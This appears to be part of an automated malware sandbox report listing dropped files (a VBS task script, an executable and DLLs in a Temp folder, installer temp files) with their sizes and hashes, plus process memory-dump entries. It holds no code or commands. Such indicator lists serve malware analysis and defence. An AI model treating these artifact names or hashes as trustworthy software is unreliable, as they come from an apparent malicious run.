C:\Program Files (x86)\sev\dev\updt\task.vbs

Filesize
2KB

MD5
c8be5f9ad4d51e45019e4b7471281257

SHA1
0b6b9cc0495bc9f67ecf2299657b380b256f1611

SHA256
d88e84ec97091ad59b8ce69b5c678e210514bde7f880f6e72367cefc35053c9c

SHA512
bde94e0cf77a407a8cbd24c8f79d961c6858c336cac8a5809178f7f62bf2749fe75715ab69183855c98c1dae2936a949e215c6a775c48b2d73d76bcd9bce68ce

Download Submit
C:\Users\Admin\AppData\Local\Temp\EHttpSrv.exe

Filesize
20KB

MD5
9329ba45c8b97485926a171e34c2abb8

SHA1
20118bc0432b4e8b3660a4b038b20ca28f721e5c

SHA256
effa6fcb8759375b4089ccf61202a5c63243f4102872e64e3eb0a1bdc2727659

SHA512
0af06b5495142ba0632a46be0778a7bd3d507e9848b3159436aa504536919abbcacd8b740ef4b591296e86604b49e0642fee2c273a45e44b41a80f91a1d52acc

Download Submit
C:\Users\Admin\AppData\Local\Temp\MSI7bcc8.LOG

Filesize
49KB

MD5
28dfba65a32dd7d094aa4ea533fe8294

SHA1
4d5f00feb61f50993cde843363604ccdfa525b78

SHA256
ce5c425ad3e0e784a975278561ce53d8e02cc85c3f939bbee3e2033e865bd024

SHA512
c30ce85992a157eaf16e3f30e47e47d3139ee203210b3212bd4cd817717a1cac218e224c391cf759dec11557d73cfe938ea387135f6ccf707015a8051a59ba85

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_55s3sec1.ikg.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\audiogram.tif

Filesize
877KB

MD5
5124236fd955464317fbb1f344a1d2f2

SHA1
fe3a91e252f1dc3c3b4980ade7157369ea6f5097

SHA256
ed1389002cdf96c9b54de35b6e972166ee3296d628943fd594a383e674c5cba6

SHA512
2b2ac23244b16f936ef9a4049586f58c809fcc4391a56390cc5db2e8d96140001e0b977680ed1d8b0ab9c410e865a880209e22add8d42e563dc40bc91236b252

Download Submit
C:\Users\Admin\AppData\Local\Temp\ca8d8b90

Filesize
1.0MB

MD5
0e29bc3a81621e2160a3b62a5e793328

SHA1
0b662ca36ec4363e63288b5cb565e1d04091318d

SHA256
359a2dccff3be29db71a3af88700ea0308fc917ce007ef1c7bc1929b247e95c7

SHA512
fd4db6c3b2dfa0c2ed73ed8322711e543a304be42cbb34de43e53757c0965836692dbfb449c1af2896e7ec5e823d3a8dcc28352e55752d7657c53e0ba8c83f7b

Download Submit
C:\Users\Admin\AppData\Local\Temp\http_dll.dll

Filesize
883KB

MD5
4366cd6c5d795811822b9ccc3df3eab4

SHA1
30f6050729b4c08b7657454cb79dd5a3d463c606

SHA256
55497a3eced5d8d190400bcd1a4b43a304ebf74a0d6d098665474ed4b1b0e9da

SHA512
4a56a2da7ded16125c2795d5760c7c08a93362536c9212cff3a31dbf6613cb3fca436efd77c256338f5134da955bc7ccc564b4af0c45ac0dfd645460b922a349

Download Submit
C:\Users\Admin\AppData\Local\Temp\mfc80u.dll

Filesize
1.0MB

MD5
686b224b4987c22b153fbb545fee9657

SHA1
684ee9f018fbb0bbf6ffa590f3782ba49d5d096c

SHA256
a2ac851f35066c2f13a7452b7a9a3fee05bfb42907ae77a6b85b212a2227fc36

SHA512
44d65db91ceea351d2b6217eaa27358dbc2ed27c9a83d226b59aecb336a9252b60aec5ce5e646706a2af5631d5ee0f721231ec751e97e47bbbc32d5f40908875

Download Submit
C:\Windows\Installer\MSIBFF4.tmp

Filesize
557KB

MD5
2c9c51ac508570303c6d46c0571ea3a1

SHA1
e3e0fe08fa11a43c8bca533f212bdf0704c726d5

SHA256
ff86c76a8d5846b3a1ad58ff2fd8e5a06a84eb5899cdee98e59c548d33335550

SHA512
df5f1def5aac44f39a2dfde9c6c73f15f83a7374b4ad42b67e425ccb7ac99a64c5701b676ae46d2f7167a04a955158031a839e7878d100aaf8fab0ce2059f127

Download Submit
C:\Windows\Installer\MSIC297.tmp

Filesize
1.1MB

MD5
7768d9d4634bf3dc159cebb6f3ea4718

SHA1
a297e0e4dd61ee8f5e88916af1ee6596cd216f26

SHA256
745de246181eb58f48224e6433c810ffbaa67fba330c616f03a7361fb1edb121

SHA512
985bbf38667609f6a422a22af34d9382ae4112e7995f87b6053a683a0aaa647e17ba70a7a83b5e1309f201fc12a53db3c13ffd2b0fad44c1374fff6f07059cbf

Download Submit
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

Filesize
156KB

MD5
d249f57a5af84dd8ca32528892b819d4

SHA1
935d44ebd09a35ccea8d09bad04f2cc84e0dd073

SHA256
cb5b768f96a0c01b727ab74709fc977b60384d8e0968ebeda9f9cf81d1afae92

SHA512
3f519964befc6d21dfbdb4d4047abbb85b414089c2b30cde86240b3a05a07b1eaabb2cb592173f5e59246c2bea5d98b2a60eb6b92736979757a838819649adee

Download Submit
memory/968-114-0x0000000074C60000-0x0000000074DDB000-memory.dmp

Filesize
1.5MB

Download
memory/968-112-0x00007FFB57DB0000-0x00007FFB57FA5000-memory.dmp

Filesize
2.0MB

Download
memory/1392-108-0x0000000074C60000-0x0000000074DDB000-memory.dmp

Filesize
1.5MB

Download
memory/1392-109-0x0000000074C60000-0x0000000074DDB000-memory.dmp

Filesize
1.5MB

Download
memory/4296-116-0x0000000073160000-0x00000000743B4000-memory.dmp

Filesize
18.3MB

Download
memory/4296-118-0x00007FFB57DB0000-0x00007FFB57FA5000-memory.dmp

Filesize
2.0MB

Download
memory/4296-119-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/4296-123-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/4296-125-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/4296-126-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/4296-127-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/4296-128-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/4296-129-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/4296-130-0x0000000000410000-0x0000000000494000-memory.dmp

Filesize
528KB

Download
memory/4308-46-0x00000292B1C10000-0x00000292B1C32000-memory.dmp

Filesize
136KB

Download